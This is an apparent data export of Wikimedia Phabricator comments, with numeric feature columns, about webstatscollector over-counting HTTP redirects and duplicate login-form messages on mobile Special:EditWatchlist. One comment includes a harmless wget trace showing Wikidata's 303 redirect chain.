https://gerrit.wikimedia.org/r/165631",,,1412892096,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9523809523809526,0.9523809523809523,"Change 165631 merged by jenkins-bot:
Stop counting 301, 302, 303 HTTP status codes

GERRIT_URL"
328428,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165748 had a related patch set uploaded by QChris:
[webstatscollector] Add condition to not count redirects

https://gerrit.wikimedia.org/r/165748",,,1412869288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.826086956521739,1.0,"Change 165748 had a related patch set uploaded by QChris:
[webstatscollector] Add condition to not count redirects

GERRIT_URL"
328421,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165725 had a related patch set uploaded by QChris:
Stop counting 301, 302, 303 HTTP status codes

https://gerrit.wikimedia.org/r/165725",,,1412865082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.125,0.9583333333333334,"Change 165725 had a related patch set uploaded by QChris:
Stop counting 301, 302, 303 HTTP status codes

GERRIT_URL"
328415,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165631 had a related patch set uploaded by QChris:
Stop counting 301, 302, 303 HTTP status codes

https://gerrit.wikimedia.org/r/165631",,,1412804318,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.125,0.9583333333333334,"Change 165631 had a related patch set uploaded by QChris:
Stop counting 301, 302, 303 HTTP status codes

GERRIT_URL"
328410,"By counting HTTP redirects, webstatscollector reporting too high numbers","Change 165351 had a related patch set uploaded by QChris:
Release fix that stops counting [uU]ndefined and redirects

https://gerrit.wikimedia.org/r/165351",,,1412804311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,4.869565217391305,1.0,"Change 165351 had a related patch set uploaded by QChris:
Release fix that stops counting [uU]ndefined and redirects

GERRIT_URL"
328402,"By counting HTTP redirects, webstatscollector reporting too high numbers","Oh. Counting of Special pages won't change per se.

It only those Special pages that happen to come with 301, 302, or 303
HTTP status codes.

So for example Special:Search, or Special:Export come with HTTP status
code 200. They'll still be counted as usual.",,,1412781119,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,21.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,6.0,0.0,3.0,11.0,6.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5161290322580645,0.7096774193548387,"Oh. Counting of Special pages won't change per se.

It only those Special pages that happen to come with 301, 302, or 303
HTTP status codes.

So for example Special:Search, or Special:Export come with HTTP status
code 200. They'll still be counted as usual."
328395,"By counting HTTP redirects, webstatscollector reporting too high numbers",I'm sure we can count special page requests separately if we want them...,,,1412779383,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,20.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,27.0,7.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.066666666666666,0.9333333333333333,I'm sure we can count special page requests separately if we want them...
328391,"By counting HTTP redirects, webstatscollector reporting too high numbers","(In reply to Nemo from comment #1)
> I'll miss
> stats for Special:MyLanguage, [...]

Yup. I'll miss stats for Special:Random :-(

> Are we talking of 301 and 302 or something more?

301, 302, and 303.

303 basically only affects bots on wikidata. But there, some requests [1]
see two 303s, before content gets sent.



[1]
_________________________________________________________________
christian@spencer // jobs: 0 // time: 16:34:01 // exit code: 0
cwd: ~
wget -O /dev/null --header='Accept: text/html' 'https://www.wikidata.org/entity/Q507970'
--2014-10-08 16:34:02--  https://www.wikidata.org/entity/Q507970
Resolving www.wikidata.org... 91.198.174.192
Connecting to www.wikidata.org|91.198.174.192|:443... connected.
HTTP request sent, awaiting response... 303 See Other
Location: https://www.wikidata.org/wiki/Special:EntityData/Q507970 [following]
--2014-10-08 16:34:03--  https://www.wikidata.org/wiki/Special:EntityData/Q507970
Reusing existing connection to www.wikidata.org:443.
HTTP request sent, awaiting response... 303 See Other
Location: https://www.wikidata.org/wiki/Q507970 [following]
--2014-10-08 16:34:03--  https://www.wikidata.org/wiki/Q507970
Reusing existing connection to www.wikidata.org:443.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

    [ <=>                                                                                                                  ] 81,443      --.-K/s   in 0.1s    

2014-10-08 16:34:04 (593 KB/s) - `/dev/null' saved [81443]",,,1412779103,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-39,True,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,3.3333333333333335,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,9.666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,9.0,0.0,0.3333333333333333,3.3333333333333335,8.0,0.0,1.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,2.6666666666666665,3.1054421768707487,0.4659863945578231,"(In reply to Nemo from comment #1)
QUOTE
QUOTE

Yup. I'll miss stats for Special:Random :-(

QUOTE

301, 302, and 303.

303 basically only affects bots on wikidata. But there, some requests [1]
see two 303s, before content gets sent.



[1]
_________________________________________________________________
christian@spencer // jobs: 0 // time: 16:34:01 // exit code: 0
cwd: ~
wget -O /dev/null --header='Accept: text/html' 'URL
--2014-10-08 16:34:02--  URL
Resolving www.wikidata.org... 91.198.174.192
Connecting to www.wikidata.org|91.198.174.192|:443... connected.
HTTP request sent, awaiting response... 303 See Other
Location: URL [following]
--2014-10-08 16:34:03--  URL
Reusing existing connection to www.wikidata.org:443.
HTTP request sent, awaiting response... 303 See Other
Location: URL [following]
--2014-10-08 16:34:03--  URL
Reusing existing connection to www.wikidata.org:443.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: CODE/dev/null' saved [81443]"
328385,"By counting HTTP redirects, webstatscollector reporting too high numbers","(In reply to christian from comment #0)
> Since we're about the deploy a new webstatscollector anyways, and this
> double counting should not be too hard to fix, let's get it fixed too.

+1. https://meta.wikimedia.org/w/index.php?title=Research_talk:Page_view&oldid=10069001#Special_namespace_and_actual_problems (I'll miss stats for Special:MyLanguage, but that was a dirty trick).

Are we talking of 301 and 302 or something more?",,,1412768866,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-2kvkjwrntloh7io34tal,task_subcomment,,True,c3,1,True,,,-39,True,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,17.0,0.0,6.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,4.0,10.0,8.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.1875,0.875,"(In reply to christian from comment #0)
QUOTE
QUOTE

+1. URL (I'll miss stats for Special:MyLanguage, but that was a dirty trick).

Are we talking of 301 and 302 or something more?"
73771,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Duplicate error messages

Navigate to Special:Watchlist whilst not logged in
You get two messages.

Expected:
You should just get the first styled message

We should look to consolidate our own custom code with that in core...

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F15097}",Needs Triage,90.0,1412727060,1420572308.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-hvnfewejs72dtsg4vhfw,task_description,resolved,True,c3,1,True,True,True,-39,True,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,16.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,8.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9324324324324325,0.6216216216216216,"Duplicate error messages

Navigate to Special:Watchlist whilst not logged in
You get two messages.

Expected:
You should just get the first styled message

We should look to consolidate our own custom code with that in core...

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F15097}"
395840,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,Thanks @Florian !,,,1420572308,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,ThanksSCREEN_NAME !
395815,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Change 183028 merged by jenkins-bot:
Don't show duplicate messages in LoginForm

[[https://gerrit.wikimedia.org/r/183028]]",,,1420570163,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-26,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.909090909090909,0.9090909090909091,"Change 183028 merged by jenkins-bot:
Don't show duplicate messages in LoginForm

[[GERRIT_URL]]"
395695,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Change 183028 had a related patch set uploaded (by Florianschmidtwelzow):
Don't show duplicate messages in LoginForm

[[https://gerrit.wikimedia.org/r/183028]]

#patch-for-review",,,1420551813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-26,True,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.151515151515151,0.8484848484848485,"Change 183028 had a related patch set uploaded (by Florianschmidtwelzow):
Don't show duplicate messages in LoginForm

[[GERRIT_URL]]

#patch-for-review"
392823,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Would be good to fix stable in the mean time for this problem.
",,,1419450120,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,"Would be good to fix stable in the mean time for this problem.
"
336916,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,#Mobile-Web,,,1417807765,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,#Mobile-Web
327616,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Using the desktop login form has various issues still and is not going to be ready any time soon.

Is there any way we can make the stable/beta site version of our existing login form use this mechanism and override the messages?",,,1416273071,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-33,True,4.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,6.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,26.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0212765957446805,0.8723404255319149,"Using the desktop login form has various issues still and is not going to be ready any time soon.

Is there any way we can make the stable/beta site version of our existing login form use this mechanism and override the messages?"
327610,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Jon, the patch is live since wmf5 (since Wednesday, 29 October 2014 for all Wikipedias). We had no related bug reports (iirc) and it seems to work fine, what do you think: Can we move it to beta? :)",,,1416103854,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-33,True,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,10.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,4.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,12.0,4.0,2.0,6.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,0.0,10.0,10.0,10.0,2.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2653061224489797,0.8571428571428571,"Jon, the patch is live since wmf5 (since Wednesday, 29 October 2014 for all Wikipedias). We had no related bug reports (iirc) and it seems to work fine, what do you think: Can we move it to beta? :)"
327603,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,This is now live in alpha. Need to propagate these changes to stable.,,,1413927686,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.8666666666666667,This is now live in alpha. Need to propagate these changes to stable.
327597,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"**gerritadmin** wrote:

Change 165634 merged by jenkins-bot:
Use desktop login/account creation form in alpha

https://gerrit.wikimedia.org/r/165634",,,1413917745,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9285714285714284,0.8214285714285714,"**gerritadmin** wrote:

Change 165634 merged by jenkins-bot:
Use desktop login/account creation form in alpha

GERRIT_URL"
327593,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"**gerritadmin** wrote:

Change 165634 had a related patch set uploaded by Florianschmidtwelzow:
Use desktop login/account creation form in alpha

https://gerrit.wikimedia.org/r/165634",,,1413213206,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.516129032258065,0.8387096774193549,"**gerritadmin** wrote:

Change 165634 had a related patch set uploaded by Florianschmidtwelzow:
Use desktop login/account creation form in alpha

GERRIT_URL"
327590,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"https://gerrit.wikimedia.org/r/165634 will take care of this if it was to move to stable.

I think we need to kill our custom login code.",,,1412804636,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,19.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,15.0,19.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.423076923076923,0.8846153846153846,"GERRIT_URL will take care of this if it was to move to stable.

I think we need to kill our custom login code."
327587,Login form duplicate messages in stable when directly visit Special:EditWatchlist whilst anon,"Yeah, it was an idea (before i saw this bug today), maybe we can use it someway :) Comments are welcome!",,,1412792866,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-hvnfewejs72dtsg4vhfw,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.9230769230769231,"Yeah, it was an idea (before i saw this bug today), maybe we can use it someway :) Comments are welcome!"
